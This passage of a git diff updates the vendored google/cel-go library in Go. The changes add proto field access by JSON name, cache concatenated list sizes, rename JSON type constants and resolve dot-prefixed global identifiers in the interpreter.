MaybeNoSuchOverloadErr(other) } - if l.Size() == IntZero { - return other - } - if otherList.Size() == IntZero { - return l - } - return &concatList{ - Adapter: l.Adapter, - prevList: l, - nextList: otherList} + return newConcatList(l.Adapter, l, otherList) } // Contains implements the traits.Container interface method. @@ -153,6 +144,9 @@ func (l *baseList) Contains(elem ref.Val) ref.Val { // ConvertToNative implements the ref.Val interface method. func (l *baseList) ConvertToNative(typeDesc reflect.Type) (any, error) { + if typeDesc == reflect.TypeFor[any]() { + typeDesc = reflect.TypeFor[[]any]() + } // If the underlying list value is assignable to the reflected type return it. if reflect.TypeOf(l.value).AssignableTo(typeDesc) { return l.value, nil @@ -164,19 +158,19 @@ func (l *baseList) ConvertToNative(typeDesc reflect.Type) (any, error) { // Attempt to convert the list to a set of well known protobuf types. switch typeDesc { case anyValueType: - json, err := l.ConvertToNative(jsonListValueType) + json, err := l.ConvertToNative(JSONListType) if err != nil { return nil, err } return anypb.New(json.(proto.Message)) - case jsonValueType, jsonListValueType: + case JSONValueType, JSONListType: jsonValues, err := l.ConvertToNative(reflect.TypeOf([]*structpb.Value{})) if err != nil { return nil, err } jsonList := &structpb.ListValue{Values: jsonValues.([]*structpb.Value)} - if typeDesc == jsonListValueType { + if typeDesc == JSONListType { return jsonList, nil } return structpb.NewListValue(jsonList), nil @@ -350,9 +344,27 @@ func (l *mutableList) ToImmutableList() traits.Lister { // The `Adapter` enables native type to CEL type conversions. type concatList struct { Adapter - value any - prevList traits.Lister - nextList traits.Lister + value any + prevList traits.Lister + nextList traits.Lister + cachedSize ref.Val +} + +func newConcatList(adapter Adapter, prevList, nextList traits.Lister) ref.Val { + prevSize := prevList.Size().(Int) + nextSize := nextList.Size().(Int) + if prevSize == IntZero { + return nextList.(ref.Val) + } + if nextSize == IntZero { + return prevList.(ref.Val) + } + return &concatList{ + Adapter: adapter, + prevList: prevList, + nextList: nextList, + cachedSize: prevSize.Add(nextSize), + } } // Add implements the traits.Adder interface method. @@ -361,16 +373,7 @@ func (l *concatList) Add(other ref.Val) ref.Val { if !ok { return MaybeNoSuchOverloadErr(other) } - if l.Size() == IntZero { - return other - } - if otherList.Size() == IntZero { - return l - } - return &concatList{ - Adapter: l.Adapter, - prevList: l, - nextList: otherList} + return newConcatList(l.Adapter, l, otherList) } // Contains implements the traits.Container interface method. @@ -474,7 +477,7 @@ func (l *concatList) Iterator() traits.Iterator { // Size implements the traits.Sizer interface method. func (l *concatList) Size() ref.Val { - return l.prevList.Size().(Int).Add(l.nextList.Size()) + return l.cachedSize } // String converts the concatenated list to a human-readable string. diff --git a/vendor/github.com/google/cel-go/common/types/map.go b/vendor/github.com/google/cel-go/common/types/map.go index b3309619..e4d6f765 100644 --- a/vendor/github.com/google/cel-go/common/types/map.go +++ b/vendor/github.com/google/cel-go/common/types/map.go @@ -19,8 +19,8 @@ import ( "reflect" "sort" "strings" + "unicode" - "github.com/stoewer/go-strcase" "google.golang.org/protobuf/proto" "google.golang.org/protobuf/reflect/protoreflect" @@ -156,6 +156,9 @@ func (m *baseMap) Contains(index ref.Val) ref.Val { func (m *baseMap) ConvertToNative(typeDesc reflect.Type) (any, error) { // If the map is already assignable to the desired type return it, e.g. interfaces and // maps with the same key value types. + if typeDesc == reflect.TypeFor[any]() { + typeDesc = reflect.TypeFor[map[any]any]() + } if reflect.TypeOf(m.value).AssignableTo(typeDesc) { return m.value, nil } @@ -164,19 +167,19 @@ func (m *baseMap) ConvertToNative(typeDesc reflect.Type) (any, error) { } switch typeDesc { case anyValueType: - json, err := m.ConvertToNative(jsonStructType) + json, err := m.ConvertToNative(JSONStructType) if err != nil { return nil, err } return anypb.New(json.(proto.Message)) - case jsonValueType, jsonStructType: + case JSONValueType, JSONStructType: jsonEntries, err := m.ConvertToNative(reflect.TypeOf(map[string]*structpb.Value{})) if err != nil { return nil, err } jsonMap := &structpb.Struct{Fields: jsonEntries.(map[string]*structpb.Value)} - if typeDesc == jsonStructType { + if typeDesc == JSONStructType { return jsonMap, nil } return structpb.NewStructValue(jsonMap), nil @@ -226,7 +229,7 @@ func (m *baseMap) ConvertToNative(typeDesc reflect.Type) (any, error) { return nil, fieldName.(*Err) } name := string(fieldName.(String)) - name = strcase.UpperCamelCase(name) + name = upperCamelCase(name) fieldRef := nativeStruct.FieldByName(name) if !fieldRef.IsValid() { return nil, fmt.Errorf("type conversion error, no such field '%s' in type '%v'", name, typeDesc) @@ -703,12 +706,12 @@ func (m *protoMap) ConvertToNative(typeDesc reflect.Type) (any, error) { // maps with the same key value types. switch typeDesc { case anyValueType: - json, err := m.ConvertToNative(jsonStructType) + json, err := m.ConvertToNative(JSONStructType) if err != nil { return nil, err } return anypb.New(json.(proto.Message)) - case jsonValueType, jsonStructType: + case JSONValueType, JSONStructType: jsonEntries, err := m.ConvertToNative(reflect.TypeOf(map[string]*structpb.Value{})) if err != nil { @@ -716,7 +719,7 @@ func (m *protoMap) ConvertToNative(typeDesc reflect.Type) (any, error) { } jsonMap := &structpb.Struct{ Fields: jsonEntries.(map[string]*structpb.Value)} - if typeDesc == jsonStructType { + if typeDesc == JSONStructType { return jsonMap, nil } return structpb.NewStructValue(jsonMap), nil @@ -1036,3 +1039,32 @@ func InsertMapKeyValue(m traits.Mapper, k, v ref.Val) ref.Val { } return NewErr("insert failed: key %v already exists", k) } + +func upperCamelCase(s string) string { + var newStr strings.Builder + s = strings.TrimSpace(s) + var prev rune + for _, curr := range s { + if prev == 0 || isDelim(prev) { + if !isDelim(curr) { + newStr.WriteRune(unicode.ToUpper(curr)) + } + } else if !isDelim(curr) { + if isLower(prev) { + newStr.WriteRune(curr) + } else { + newStr.WriteRune(unicode.ToLower(curr)) + } + } + prev = curr + } + return newStr.String() +} + +func isDelim(r rune) bool { + return r == '_' || r == '-' +} + +func isLower(r rune) bool { + return r >= 'a' && r <= 'z' +} diff --git a/vendor/github.com/google/cel-go/common/types/null.go b/vendor/github.com/google/cel-go/common/types/null.go index 2c0297fe..671e1ee5 100644 --- a/vendor/github.com/google/cel-go/common/types/null.go +++ b/vendor/github.com/google/cel-go/common/types/null.go @@ -45,7 +45,7 @@ func (n Null) ConvertToNative(typeDesc reflect.Type) (any, error) { switch typeDesc.Kind() { case reflect.Int32: switch typeDesc { - case jsonNullType: + case JSONNullType: return structpb.NullValue_NULL_VALUE, nil case nullReflectType: return n, nil @@ -55,18 +55,18 @@ func (n Null) ConvertToNative(typeDesc reflect.Type) (any, error) { case anyValueType: // Convert to a JSON-null before packing to an Any field since the enum value for JSON // null cannot be packed directly. - pb, err := n.ConvertToNative(jsonValueType) + pb, err := n.ConvertToNative(JSONValueType) if err != nil { return nil, err } return anypb.New(pb.(proto.Message)) - case jsonValueType: + case JSONValueType: return structpb.NewNullValue(), nil case boolWrapperType, byteWrapperType, doubleWrapperType, floatWrapperType, int32WrapperType, int64WrapperType, stringWrapperType, uint32WrapperType, uint64WrapperType, durationValueType, timestampValueType, protoIfaceType: return nil, nil - case jsonListValueType, jsonStructType: + case JSONListType, JSONStructType: // skip handling default: if typeDesc.Implements(protoIfaceType) { diff --git a/vendor/github.com/google/cel-go/common/types/object.go b/vendor/github.com/google/cel-go/common/types/object.go index 776f6954..bb2a09e8 100644 --- a/vendor/github.com/google/cel-go/common/types/object.go +++ b/vendor/github.com/google/cel-go/common/types/object.go @@ -71,7 +71,7 @@ func (o *protoObj) ConvertToNative(typeDesc reflect.Type) (any, error) { return srcPB, nil } return anypb.New(srcPB) - case jsonValueType: + case JSONValueType: // Marshal the proto to JSON first, and then rehydrate as protobuf.Value as there is no // support for direct conversion from proto.Message to protobuf.Value. bytes, err := protojson.Marshal(srcPB) @@ -187,8 +187,14 @@ func (o *protoObj) format(sb *strings.Builder) { if i > 0 { sb.WriteString(", ") } - sb.WriteString(fmt.Sprintf("%s: ", field.Name())) - formatTo(sb, o.Get(String(field.Name()))) + name := String(field.Name()) + if field.IsExtension() { + name = String(field.FullName()) + fmt.Fprintf(sb, "`%s`: ", name) + } else { + fmt.Fprintf(sb, "%s: ", name) + } + formatTo(sb, o.Get(name)) } sb.WriteString("}") } diff --git a/vendor/github.com/google/cel-go/common/types/optional.go b/vendor/github.com/google/cel-go/common/types/optional.go index b8685ebf..0d861823 100644 --- a/vendor/github.com/google/cel-go/common/types/optional.go +++ b/vendor/github.com/google/cel-go/common/types/optional.go @@ -25,7 +25,7 @@ import ( var ( // OptionalType indicates the runtime type of an optional value. - OptionalType = NewOpaqueType("optional_type") + OptionalType = NewOpaqueType("optional_type", DynType) // OptionalNone is a sentinel value which is used to indicate an empty optional value. OptionalNone = &Optional{} @@ -59,6 +59,9 @@ func (o *Optional) ConvertToNative(typeDesc reflect.Type) (any, error) { if !o.HasValue() { return nil, errors.New("optional.none() dereference") } + if typeDesc == reflect.TypeFor[*Optional]() { + return o, nil + } return o.value.ConvertToNative(typeDesc) } diff --git a/vendor/github.com/google/cel-go/common/types/pb/file.go b/vendor/github.com/google/cel-go/common/types/pb/file.go index e323afb1..3a8bdf0b 100644 --- a/vendor/github.com/google/cel-go/common/types/pb/file.go +++ b/vendor/github.com/google/cel-go/common/types/pb/file.go @@ -32,7 +32,7 @@ func newFileDescription(fileDesc protoreflect.FileDescriptor, pbdb *Db) (*FileDe } types := make(map[string]*TypeDescription) for name, msgType := range metadata.msgTypes { - types[name] = newTypeDescription(name, msgType, pbdb.extensions) + types[name] = newTypeDescription(name, msgType, pbdb) } fileExtMap := make(extensionMap) for typeName, extensions := range metadata.msgExtensionMap { @@ -42,12 +42,13 @@ func newFileDescription(fileDesc protoreflect.FileDescriptor, pbdb *Db) (*FileDe } for _, ext := range extensions { extDesc := dynamicpb.NewExtensionType(ext).TypeDescriptor() - messageExtMap[string(ext.FullName())] = newFieldDescription(extDesc) + messageExtMap[string(ext.FullName())] = newFieldDescription(extDesc, pbdb.jsonFieldNames) } fileExtMap[typeName] = messageExtMap } return &FileDescription{ name: fileDesc.Path(), + desc: fileDesc, types: types, enums: enums, }, fileExtMap @@ -56,6 +57,7 @@ func newFileDescription(fileDesc protoreflect.FileDescriptor, pbdb *Db) (*FileDe // FileDescription holds a map of all types and enum values declared within a proto file. type FileDescription struct { name string + desc protoreflect.FileDescriptor types map[string]*TypeDescription enums map[string]*EnumValueDescription } @@ -68,6 +70,7 @@ func (fd *FileDescription) Copy(pbdb *Db) *FileDescription { } return &FileDescription{ name: fd.name, + desc: fd.desc, types: typesCopy, enums: fd.enums, } @@ -78,6 +81,11 @@ func (fd *FileDescription) GetName() string { return fd.name } +// FileDescriptor returns the proto file descriptor associated with the file representation. +func (fd *FileDescription) FileDescriptor() protoreflect.FileDescriptor { + return fd.desc +} + // GetEnumDescription returns an EnumDescription for a qualified enum value // name declared within the .proto file. func (fd *FileDescription) GetEnumDescription(enumName string) (*EnumValueDescription, bool) { diff --git a/vendor/github.com/google/cel-go/common/types/pb/pb.go b/vendor/github.com/google/cel-go/common/types/pb/pb.go index eadebcb0..c6fdfc69 100644 --- a/vendor/github.com/google/cel-go/common/types/pb/pb.go +++ b/vendor/github.com/google/cel-go/common/types/pb/pb.go @@ -42,6 +42,9 @@ type Db struct { files []*FileDescription // extensions contains the mapping between a given type name, extension name and its FieldDescription extensions map[string]map[string]*FieldDescription + + // jsonFieldNames indicates whether json-style names are supported as proto field names. + jsonFieldNames bool } // extensionsMap is a type alias to a map[typeName]map[extensionName]*FieldDescription @@ -81,13 +84,27 @@ func Merge(dstPB, srcPB proto.Message) error { return nil } +// DbOption modifies feature flags enabled on the proto database. +type DbOption func(*Db) *Db + +// JSONFieldNames configures the Db to support proto field accesses by their JSON names. +func JSONFieldNames(enabled bool) DbOption { + return func(db *Db) *Db { + db.jsonFieldNames = enabled + return db + } +} + // NewDb creates a new `pb.Db` with an empty type name to file description map. -func NewDb() *Db { +func NewDb(opts ...DbOption) *Db { pbdb := &Db{ revFileDescriptorMap: make(map[string]*FileDescription), files: []*FileDescription{}, extensions: make(extensionMap), } + for _, o := range opts { + pbdb = o(pbdb) + } // The FileDescription objects in the default db contain lazily initialized TypeDescription // values which may point to the state contained in the DefaultDb irrespective of this shallow // copy; however, the type graph for a field is idempotently computed, and is guaranteed to @@ -100,9 +117,15 @@ func NewDb() *Db { return pbdb } +// JSONFieldNames indicates whether the database is configured for proto field accesses by JSON names. +func (pbdb *Db) JSONFieldNames() bool { + return pbdb.jsonFieldNames +} + // Copy creates a copy of the current database with its own internal descriptor mapping. func (pbdb *Db) Copy() *Db { copy := NewDb() + copy.jsonFieldNames = pbdb.jsonFieldNames for _, fd := range pbdb.files { hasFile := false for _, fd2 := range copy.files { diff --git a/vendor/github.com/google/cel-go/common/types/pb/type.go b/vendor/github.com/google/cel-go/common/types/pb/type.go index bdd474c9..8d7d1b29 100644 --- a/vendor/github.com/google/cel-go/common/types/pb/type.go +++ b/vendor/github.com/google/cel-go/common/types/pb/type.go @@ -40,68 +40,92 @@ type description interface { // newTypeDescription produces a TypeDescription value for the fully-qualified proto type name // with a given descriptor. -func newTypeDescription(typeName string, desc protoreflect.MessageDescriptor, extensions extensionMap) *TypeDescription { +func newTypeDescription(typeName string, desc protoreflect.MessageDescriptor, pbdb *Db) *TypeDescription { msgType := dynamicpb.NewMessageType(desc) msgZero := dynamicpb.NewMessage(desc) fieldMap := map[string]*FieldDescription{} + jsonFieldMap := map[string]*FieldDescription{} fields := desc.Fields() for i := 0; i < fields.Len(); i++ { f := fields.Get(i) - fieldMap[string(f.Name())] = newFieldDescription(f) + fd := newFieldDescription(f, pbdb.jsonFieldNames) + fieldMap[fd.Name()] = fd + if pbdb.jsonFieldNames { + jsonFieldMap[fd.JSONName()] = fd + } } return &TypeDescription{ - typeName: typeName, - desc: desc, - msgType: msgType, - fieldMap: fieldMap, - extensions: extensions, - reflectType: reflectTypeOf(msgZero), - zeroMsg: zeroValueOf(msgZero), + typeName: typeName, + desc: desc, + msgType: msgType, + fieldMap: fieldMap, + jsonFieldMap: jsonFieldMap, + extensions: pbdb.extensions, + reflectType: reflectTypeOf(msgZero), + zeroMsg: zeroValueOf(msgZero), + jsonFieldNames: pbdb.jsonFieldNames, } } // TypeDescription is a collection of type metadata relevant to expression // checking and evaluation. type TypeDescription struct { - typeName string - desc protoreflect.MessageDescriptor - msgType protoreflect.MessageType - fieldMap map[string]*FieldDescription - extensions extensionMap - reflectType reflect.Type - zeroMsg proto.Message + typeName string + desc protoreflect.MessageDescriptor + msgType protoreflect.MessageType + fieldMap map[string]*FieldDescription + jsonFieldMap map[string]*FieldDescription + extensions extensionMap + reflectType reflect.Type + zeroMsg proto.Message + // jsonFieldNames indicates if the type's fields are accessible via their JSON names. + jsonFieldNames bool } // Copy copies the type description with updated references to the Db. func (td *TypeDescription) Copy(pbdb *Db) *TypeDescription { return &TypeDescription{ - typeName: td.typeName, - desc: td.desc, - msgType: td.msgType, - fieldMap: td.fieldMap, - extensions: pbdb.extensions, - reflectType: td.reflectType, - zeroMsg: td.zeroMsg, + typeName: td.typeName, + desc: td.desc, + msgType: td.msgType, + fieldMap: td.fieldMap, + jsonFieldMap: td.jsonFieldMap, + extensions: pbdb.extensions, + reflectType: td.reflectType, + zeroMsg: td.zeroMsg, + jsonFieldNames: td.jsonFieldNames, } } // FieldMap returns a string field name to FieldDescription map. func (td *TypeDescription) FieldMap() map[string]*FieldDescription { + if td.jsonFieldNames { + return td.jsonFieldMap + } return td.fieldMap } // FieldByName returns (FieldDescription, true) if the field name is declared within the type. func (td *TypeDescription) FieldByName(name string) (*FieldDescription, bool) { + if td.jsonFieldNames { + fd, found := td.jsonFieldMap[name] + if found { + return fd, true + } + } + fd, found := td.fieldMap[name] if found { return fd, true } + extFieldMap, found := td.extensions[td.typeName] - if !found { - return nil, false + if found { + fd, found = extFieldMap[name] + return fd, found } - fd, found = extFieldMap[name] - return fd, found + + return nil, false } // MaybeUnwrap accepts a proto message as input and unwraps it to a primitive CEL type if possible. @@ -132,7 +156,7 @@ func (td *TypeDescription) Zero() proto.Message { } // newFieldDescription creates a new field description from a protoreflect.FieldDescriptor. -func newFieldDescription(fieldDesc protoreflect.FieldDescriptor) *FieldDescription { +func newFieldDescription(fieldDesc protoreflect.FieldDescriptor, jsonFieldNames bool) *FieldDescription { var reflectType reflect.Type var zeroMsg proto.Message switch fieldDesc.Kind() { @@ -168,15 +192,16 @@ func newFieldDescription(fieldDesc protoreflect.FieldDescriptor) *FieldDescripti } var keyType, valType *FieldDescription if fieldDesc.IsMap() { - keyType = newFieldDescription(fieldDesc.MapKey()) - valType = newFieldDescription(fieldDesc.MapValue()) + keyType = newFieldDescription(fieldDesc.MapKey(), jsonFieldNames) + valType = newFieldDescription(fieldDesc.MapValue(), jsonFieldNames) } return &FieldDescription{ - desc: fieldDesc, - KeyType: keyType, - ValueType: valType, - reflectType: reflectType, - zeroMsg: zeroValueOf(zeroMsg), + desc: fieldDesc, + KeyType: keyType, + ValueType: valType, + reflectType: reflectType, + zeroMsg: zeroValueOf(zeroMsg), + jsonFieldName: jsonFieldNames, } } @@ -187,9 +212,10 @@ type FieldDescription struct { // ValueType holds the value FieldDescription for map fields. ValueType *FieldDescription - desc protoreflect.FieldDescriptor - reflectType reflect.Type - zeroMsg proto.Message + desc protoreflect.FieldDescriptor + reflectType reflect.Type + zeroMsg proto.Message + jsonFieldName bool } // CheckedType returns the type-definition used at type-check time. @@ -218,6 +244,14 @@ func (fd *FieldDescription) Descriptor() protoreflect.FieldDescriptor { return fd.desc } +// Documentation returns the documentation for the field. +func (fd *FieldDescription) Documentation() string { + if parentFile := fd.desc.ParentFile(); parentFile != nil { + return parentFile.SourceLocations().ByDescriptor(fd.desc).LeadingComments + } + return "" +} + // IsSet returns whether the field is set on the target value, per the proto presence conventions // of proto2 or proto3 accordingly. // @@ -321,11 +355,20 @@ func (fd *FieldDescription) MaybeUnwrapDynamic(msg protoreflect.Message) (any, b return unwrapDynamic(fd, msg) } -// Name returns the CamelCase name of the field within the proto-based struct. +// Name returns the snake_case name of the field within the proto-based struct. func (fd *FieldDescription) Name() string { return string(fd.desc.Name()) } +// JSONName returns the JSON name of the field, if present. +func (fd *FieldDescription) JSONName() string { + jsonName := fd.desc.JSONName() + if len(jsonName) != 0 { + return jsonName + } + return string(fd.desc.Name()) +} + // ProtoKind returns the protobuf reflected kind of the field. func (fd *FieldDescription) ProtoKind() protoreflect.Kind { return fd.desc.Kind() @@ -472,7 +515,7 @@ func unwrap(desc description, msg proto.Message) (any, bool, error) { } return v.GetValue(), true, nil } - return msg, false, nil + return unwrapDynamic(desc, msg.ProtoReflect()) } // unwrapDynamic unwraps a reflected protobuf Message value. diff --git a/vendor/github.com/google/cel-go/common/types/provider.go b/vendor/github.com/google/cel-go/common/types/provider.go index 936a4e28..1bb2c11e 100644 --- a/vendor/github.com/google/cel-go/common/types/provider.go +++ b/vendor/github.com/google/cel-go/common/types/provider.go @@ -81,6 +81,9 @@ type FieldType struct { // GetFrom retrieves the field value on the input object, if set. GetFrom ref.FieldGetter + + // IsJSONField + IsJSONField bool } // Registry provides type information for a set of registered types. @@ -93,11 +96,40 @@ type Registry struct { // provider which can create new instances of the provided message or any // message that proto depends upon in its FileDescriptor. func NewRegistry(types ...proto.Message) (*Registry, error) { - p := &Registry{ + return NewProtoRegistry(ProtoTypeDefs(types...)) +} + +// RegistryOption configures the behavior of the registry. +type RegistryOption func(r *Registry) (*Registry, error) + +// JSONFieldNames configures JSON field name support within the protobuf types in the registry. +func JSONFieldNames(enabled bool) RegistryOption { + return func(r *Registry) (*Registry, error) { + err := r.WithJSONFieldNames(enabled) + return r, err + } +} + +// ProtoTypeDefs creates a RegistryOption which registers the individual proto messages with the registry. +func ProtoTypeDefs(types ...proto.Message) RegistryOption { + return func(r *Registry) (*Registry, error) { + for _, msgType := range types { + err := r.RegisterMessage(msgType) + if err != nil { + return nil, err + } + } + return r, nil + } +} + +// NewProtoRegistry creates a proto-based registry with a set of configurable options. +func NewProtoRegistry(opts ...RegistryOption) (*Registry, error) { + r := &Registry{ revTypeMap: make(map[string]*Type), pbdb: pb.NewDb(), } - err := p.RegisterType( + err := r.RegisterType( BoolType, BytesType, DoubleType, @@ -114,19 +146,19 @@ func NewRegistry(types ...proto.Message) (*Registry, error) { return nil, err } // This block ensures that the well-known protobuf types are registered by default. - for _, fd := range p.pbdb.FileDescriptions() { - err = p.registerAllTypes(fd) + for _, fd := range r.pbdb.FileDescriptions() { + err = r.registerAllTypes(fd) if err != nil { return nil, err } } - for _, msgType := range types { - err = p.RegisterMessage(msgType) + for _, opt := range opts { + r, err = opt(r) if err != nil { return nil, err } } - return p, nil + return r, nil } // NewEmptyRegistry returns a registry which is completely unconfigured. @@ -149,6 +181,28 @@ func (p *Registry) Copy() *Registry { return copy } +// JSONFieldNames returns whether json field names are enabled in this registry. +func (p *Registry) JSONFieldNames() bool { + return p.pbdb.JSONFieldNames() +} + +// WithJSONFieldNames configures the registry with the JSON field name support enabled or disabled. +func (p *Registry) WithJSONFieldNames(enabled bool) error { + if enabled == p.pbdb.JSONFieldNames() { + return nil + } + newDB := pb.NewDb(pb.JSONFieldNames(enabled)) + files := p.pbdb.FileDescriptions() + for _, fd := range files { + _, err := newDB.RegisterDescriptor(fd.FileDescriptor()) + if err != nil { + return err + } + } + p.pbdb = newDB + return nil +} + // EnumValue returns the numeric value of the given enum value name. func (p *Registry) EnumValue(enumName string) ref.Val { enumVal, found := p.pbdb.DescribeEnum(enumName) @@ -172,9 +226,11 @@ func (p *Registry) FindFieldType(structType, fieldName string) (*ref.FieldType, return nil, false } return &ref.FieldType{ - Type: field.CheckedType(), - IsSet: field.IsSet, - GetFrom: field.GetFrom}, true + Type: field.CheckedType(), + IsSet: field.IsSet, + GetFrom: field.GetFrom, + IsJSONField: p.pbdb.JSONFieldNames() && fieldName == field.JSONName(), + }, true } // FindStructFieldNames returns the set of field names for the given struct type, @@ -206,9 +262,25 @@ func (p *Registry) FindStructFieldType(structType, fieldName string) (*FieldType return nil, false } return &FieldType{ - Type: fieldDescToCELType(field), - IsSet: field.IsSet, - GetFrom: field.GetFrom}, true + Type: fieldDescToCELType(field), + IsSet: field.IsSet, + GetFrom: field.GetFrom, + IsJSONField: p.pbdb.JSONFieldNames() && fieldName == field.JSONName(), + }, true +} + +// FindStructFieldDescription returns documentation for a field if available. +// Returns false if the field could not be found. +func (p *Registry) FindStructFieldDescription(structType, fieldName string) (string, bool) { + msgType, found := p.pbdb.DescribeType(structType) + if !found { + return "", false + } + field, found := msgType.FieldByName(fieldName) + if !found { + return "", false + } + return field.Documentation(), true } // FindIdent takes a qualified identifier name and returns a ref.Val if one exists. @@ -268,9 +340,8 @@ func (p *Registry) NewValue(structType string, fields map[string]ref.Val) ref.Va return NewErr("unknown type '%s'", structType) } msg := td.New() - fieldMap := td.FieldMap() for name, value := range fields { - field, found := fieldMap[name] + field, found := td.FieldByName(name) if !found { return NewErr("no such field: %s", name) } diff --git a/vendor/github.com/google/cel-go/common/types/ref/provider.go b/vendor/github.com/google/cel-go/common/types/ref/provider.go index b9820023..ed5ab066 100644 --- a/vendor/github.com/google/cel-go/common/types/ref/provider.go +++ b/vendor/github.com/google/cel-go/common/types/ref/provider.go @@ -93,6 +93,9 @@ type FieldType struct { // GetFrom retrieves the field value on the input object, if set. GetFrom FieldGetter + + // IsJSONFIeld indicates that the field was accessed via its JSON name. + IsJSONField bool } // FieldTester is used to test field presence on an input object. diff --git a/vendor/github.com/google/cel-go/common/types/string.go b/vendor/github.com/google/cel-go/common/types/string.go index 8aad4701..5f5a4335 100644 --- a/vendor/github.com/google/cel-go/common/types/string.go +++ b/vendor/github.com/google/cel-go/common/types/string.go @@ -72,7 +72,7 @@ func (s String) ConvertToNative(typeDesc reflect.Type) (any, error) { case anyValueType: // Primitives must be wrapped before being set on an Any field. return anypb.New(wrapperspb.String(string(s))) - case jsonValueType: + case JSONValueType: // Convert to a protobuf representation of a JSON String. return structpb.NewStringValue(string(s)), nil case stringWrapperType: diff --git a/vendor/github.com/google/cel-go/common/types/timestamp.go b/vendor/github.com/google/cel-go/common/types/timestamp.go index f7be5859..060caf6b 100644 --- a/vendor/github.com/google/cel-go/common/types/timestamp.go +++ b/vendor/github.com/google/cel-go/common/types/timestamp.go @@ -91,7 +91,7 @@ func (t Timestamp) ConvertToNative(typeDesc reflect.Type) (any, error) { case anyValueType: // Pack the underlying time as a tpb.Timestamp into an Any value. return anypb.New(tpb.New(t.Time)) - case jsonValueType: + case JSONValueType: // CEL follows the proto3 to JSON conversion which formats as an RFC 3339 encoded JSON // string. v := t.ConvertToType(StringType) diff --git a/vendor/github.com/google/cel-go/common/types/uint.go b/vendor/github.com/google/cel-go/common/types/uint.go index a93405a1..91d5369d 100644 --- a/vendor/github.com/google/cel-go/common/types/uint.go +++ b/vendor/github.com/google/cel-go/common/types/uint.go @@ -100,7 +100,7 @@ func (i Uint) ConvertToNative(typeDesc reflect.Type) (any, error) { case anyValueType: // Primitives must be wrapped before being set on an Any field. return anypb.New(wrapperspb.UInt64(uint64(i))) - case jsonValueType: + case JSONValueType: // JSON can accurately represent 32-bit uints as floating point values. if i.isJSONSafe() { return structpb.NewNumberValue(float64(i)), nil diff --git a/vendor/github.com/google/cel-go/interpreter/attribute_patterns.go b/vendor/github.com/google/cel-go/interpreter/attribute_patterns.go index 7d0759e3..41ca5cd2 100644 --- a/vendor/github.com/google/cel-go/interpreter/attribute_patterns.go +++ b/vendor/github.com/google/cel-go/interpreter/attribute_patterns.go @@ -16,6 +16,7 @@ package interpreter import ( "fmt" + "strings" "github.com/google/cel-go/common/containers" "github.com/google/cel-go/common/types" @@ -207,10 +208,19 @@ func (fac *partialAttributeFactory) AbsoluteAttribute(id int64, names ...string) // 'maybe' NamespacedAttribute values are produced using the partialAttributeFactory rather than // the base AttributeFactory implementation. func (fac *partialAttributeFactory) MaybeAttribute(id int64, name string) Attribute { + var names []string + // When there's a single name with a dot prefix, it indicates that the 'maybe' attribute is a + // globally namespaced identifier. + if strings.HasPrefix(name, ".") { + names = append(names, name) + } else { + // In all other cases, the candidate names should be inferred. + names = fac.container.ResolveCandidateNames(name) + } return &maybeAttribute{ id: id, attrs: []NamespacedAttribute{ - fac.AbsoluteAttribute(id, fac.container.ResolveCandidateNames(name)...), + fac.AbsoluteAttribute(id, names...), }, adapter: fac.adapter, provider: fac.provider, diff --git a/vendor/github.com/google/cel-go/interpreter/attributes.go b/vendor/github.com/google/cel-go/interpreter/attributes.go index b1b3aacc..6b8b5c1b 100644 --- a/vendor/github.com/google/cel-go/interpreter/attributes.go +++ b/vendor/github.com/google/cel-go/interpreter/attributes.go @@ -166,9 +166,17 @@ type attrFactory struct { // The namespaceNames represent the names the variable could have based on namespace // resolution rules. func (r *attrFactory) AbsoluteAttribute(id int64, names ...string) NamespacedAttribute { + disambiguateNames := false + for idx, name := range names { + if strings.HasPrefix(name, ".") { + disambiguateNames = true + names[idx] = strings.TrimPrefix(name, ".") + } + } return &absoluteAttribute{ id: id, namespaceNames: names, + disambiguateNames: disambiguateNames, qualifiers: []Qualifier{}, adapter: r.adapter, provider: r.provider, @@ -193,10 +201,19 @@ func (r *attrFactory) ConditionalAttribute(id int64, expr Interpretable, t, f At // MaybeAttribute collects variants of unchecked AbsoluteAttribute values which could either be // direct variable accesses or some combination of variable access with qualification. func (r *attrFactory) MaybeAttribute(id int64, name string) Attribute { + var names []string + // When there's a single name with a dot prefix, it indicates that the 'maybe' attribute is a + // globally namespaced identifier. + if strings.HasPrefix(name, ".") { + names = append(names, name) + } else { + // In all other cases, the candidate names should be inferred. + names = r.container.ResolveCandidateNames(name) + } return &maybeAttribute{ id: id, attrs: []NamespacedAttribute{ - r.AbsoluteAttribute(id, r.container.ResolveCandidateNames(name)...), + r.AbsoluteAttribute(id, names...), }, adapter: r.adapter, provider: r.provider, @@ -242,10 +259,13 @@ type absoluteAttribute struct { // namespaceNames represent the names the variable could have based on declared container // (package) of the expression. namespaceNames []string - qualifiers []Qualifier - adapter types.Adapter - provider types.Provider - fac AttributeFactory + // disambiguateNames indicates whether the namespaceNames require disambiguation with local variables. + disambiguateNames bool + + qualifiers []Qualifier + adapter types.Adapter + provider types.Provider + fac AttributeFactory errorOnBadPresenceTest bool } @@ -304,15 +324,34 @@ func (a *absoluteAttribute) String() string { // a type, then the result is `nil`, `error` with the error indicating the name of the first // variable searched as missing. func (a *absoluteAttribute) Resolve(vars Activation) (any, error) { + // unwrap any local activations to ensure that we reach the variables provided as input + // to the expression in the event that we need to disambiguate between global and local + // variables. + // + // Presently, only dynamic and constant slot activations created during comprehensions + // support 'unwrapping', which is consistent with how local variables are introduced into CEL. + var inputVars Activation + if a.disambiguateNames { + inputVars = vars + wrapped, ok := inputVars.(activationWrapper) + for ok { + inputVars = wrapped.Unwrap() + wrapped, ok = inputVars.(activationWrapper) + } + } for _, nm := range a.namespaceNames { // If the variable is found, process it. Otherwise, wait until the checks to // determine whether the type is unknown before returning. - obj, found := vars.ResolveName(nm) + v := vars + if a.disambiguateNames { + v = inputVars + } + obj, found := v.ResolveName(nm) if found { if celErr, ok := obj.(*types.Err); ok { - return nil, celErr.Unwrap() + return nil, celErr } - obj, isOpt, err := applyQualifiers(vars, obj, a.qualifiers) + obj, isOpt, err := applyQualifiers(v, obj, a.qualifiers) if err != nil { return nil, err } diff --git a/vendor/github.com/google/cel-go/interpreter/interpretable.go b/vendor/github.com/google/cel-go/interpreter/interpretable.go index 96b5a8ff..50e66d63 100644 --- a/vendor/github.com/google/cel-go/interpreter/interpretable.go +++ b/vendor/github.com/google/cel-go/interpreter/interpretable.go @@ -1404,6 +1404,11 @@ func (f *folder) Parent() Activation { return f.activation } +// Unwrap returns the parent activation, thus omitting access to local state +func (f *folder) 